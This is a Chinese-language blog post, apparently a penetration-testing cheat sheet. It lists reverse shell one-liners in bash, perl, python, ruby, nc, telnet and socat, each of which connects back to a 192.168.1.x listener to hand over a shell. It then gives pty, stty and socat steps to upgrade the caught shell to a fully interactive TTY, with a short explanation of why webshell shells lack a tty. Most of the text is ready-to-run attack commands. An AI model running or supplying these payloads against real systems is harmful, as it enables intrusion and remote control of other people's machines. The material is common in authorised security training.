zoukankan      html  css  js  c++  java
  • 反弹shell&升级shell

    反弹shell

    bash -c 'bash -i >& /dev/tcp/192.168.1.102/4444 0>&1'

    perl -e 'use Socket;$i="192.168.1.102";$p=4555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    0<&196;exec 196<>/dev/tcp/192.168.1.102/4444; sh <&196 >&196 2>&196

    /bin/bash  -i > /dev/tcp/192.168.1.102/4443 0<&1 2>&1

    telnet 192.168.1.102 4444 | /bin/bash | telnet 192.168.1.102 5555

    nc -e /bin/bash 192.168.1.107 5556

    这个方法需要安装的nc有-e这个选项,我的Ubuntu就没有,所以一开始打失败了,kali有,所以攻击与受害机就换了一下

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.102",5655));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.102:5655");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.102","5755");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    升级方法

    为什么webshell反弹的 shell 无法交互 ?
    我们能清晰的感受到,我在连接一台远程的 Linux 主机的时候,如果我使用的是 ssh 连接目标主机,在连接成功后,我可以使用 Tab 补全命令,可以使用 vim、nano,可以使用top,htop,并且当我按下 Ctrl+C组合按键时,只会结束前台运行的进程,不会结束掉整个 ssh 会话。

    究其原因,是因为没有 tty 这么个东西。当然,tty,pty,pts,ptmx,console 这几者有什么区别,有兴趣的读者可以自行查阅相关资料,这里不再深讲,也可以看一下下面这一篇文章:The TTY demystified 译文:解密TTY

    总结下来就是,我们提到的这些个命令,在执行的时候,需要获取当前上下文环境中的 tty, 并根据 tty 的大小,来处理输出和输出。而脚本语言默认执行系统命令时,是没有获取 tty 的。

    http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

    方法1:

    which python
    python -c 'import pty;pty.spawn("/bin/bash")'
    
    // 在pty shell里面
    ctrl + z
    [1]+ Stopped nc -nvlp 1234
    
    // Kali Terminal
    stty raw -echo
    
    //出现在下一行 这时候输入东西 无法显示
    fg
    
    //连按两次 Enter

     这个时候已经可以用正常的指令了:上下切换命令,vim编辑,sudo,如果还要进一步可以运行这个,让这个终端与当前的kail终端适配

    export TERM=xterm-256color  //注意大小写
    stty rows 28 columns 86 // rows和columns看自己喜好。

    方法2:

    这样出来的只是有一个好看点的界面

    python -c '__import__("pty").spawn("/bin/bash")' 

    方法3:

    用socket直接打出完全交换式shell

    socat file:`tty`,raw,echo=0 tcp-listen:9999
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.102:9999

    方法4:

    在弹回来的 shell 下创建一个带有 tty 的 shell

    script /dev/null 

    参考链接

    https://brucetg.github.io/2018/05/03/%E5%A4%9A%E7%A7%8D%E5%A7%BF%E5%8A%BF%E5%8F%8D%E5%BC%B9shell/

    https://blog.csdn.net/weixin_43851945/article/details/104070423

    https://ha.cker.in/index.php/Article/17748

    http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/

    https://www.cnblogs.com/liqiuhao/p/9031803.html

  • 相关阅读:
    在已经安装的nginx上,增加ssl模块
    apache ab压力测试报错(apr_socket_recv: Connection reset by peer (104))
    ab和jmeter进行GET/POST压力测试的使用心得和比较
    linux历史命令查找快捷方式
    HDFS的dfs.replication不同验证
    Set replication in Hadoop
    RVM 安装 Ruby
    Fluentd初探 简介与安装
    Flunetd 用于统一日志记录层的开源数据收集器
    Custom partition assignment and migration kafka集群扩充迁移指定partition
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/15134933.html
Copyright © 2011-2022 走看看